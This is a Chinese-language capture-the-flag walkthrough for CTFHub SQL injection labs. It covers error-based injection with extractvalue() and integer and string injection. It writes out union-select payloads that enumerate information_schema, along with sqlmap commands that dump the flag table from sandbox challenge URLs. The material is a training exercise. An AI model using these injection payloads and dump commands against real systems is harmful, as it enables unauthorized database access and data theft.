SQL注入语句有时候会使用替换查询技术,就是让原有的查询语句查不到结果出错,而让自己构造的查询语句执行,并把执行结果代替原有查询语句查询结果显示出来。
一、报错注入
两种解法
1.sqlmap扫
2.尝试报错函数
发现可以用extractvalue()
初次尝试获取最终数据,发现显示结果不全,推测此题对回显长度有限制,可用如下方法:
(1)MID函数
MID()函数用于从文本字段中提取字符。 SELECT MID(column_name,start[,length]) FROM table_name;
(2)或直接select
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,(select flag from flag))--+
二、整数型注入
两种解法
第一种 手工注入
1.先用order by x(注意x是数字)语句去查询字段数
2.然后用union select语句(注意union select语句前面的语句一定要为假,后面的语句才能输出)去查是否能够正常查询;
3.然后查数据库:
select database()爆数据库名
4.查表名:
查出表名
select group_concat(TABLE_NAME) from information_schema.tables where table_schema='sqli';
5.查列名:
select group_concat(column_name) from information_schema.columns where table_name='flag';
6.查具体信息:
select group_concat(flag) from sqli.flag
即可得到flag
第二种解法:sqlmap扫描
1.查数据库中所有的表名
sqlmap -u http://challenge-ef17e95de3043c06.sandbox.ctfhub.com:10800/?id=1 --tables
2.查列名
sqlmap -u http://challenge-ef17e95de3043c06.sandbox.ctfhub.com:10800/?id=1 -T flag --columns
3.查具体信息
sqlmap -u http://challenge-ef17e95de3043c06.sandbox.ctfhub.com:10800/?id=1 -T flag -C flag --dump
即可得到flag!!!
三、字符型注入
两种解法:
第一种:手工注入
需要我们加单引号形成闭合语句!以及加注释符过滤后面的单引号!
例如:3' union select 1,database() # 查询数据库
3' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #
查询表名
3'union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#
查询列名
3'union select 1,group_concat(flag) from sqli.flag #
查具体信息即可的到flag
第二种:sqlmap扫描
1.查数据库中所有的表名
sqlmap -u http://challenge-f2869b55901d23fa.sandbox.ctfhub.com:10800/?id=1 --tables
2.查指定表中的列名
sqlmap -u http://challenge-f2869b55901d23fa.sandbox.ctfhub.com:10800/?id=1 -T flag --columns
3.查列里的具体信息
sqlmap -u http://challenge-f2869b55901d23fa.sandbox.ctfhub.com:10800/?id=1 -T flag -C flag --dump
即可得到flag。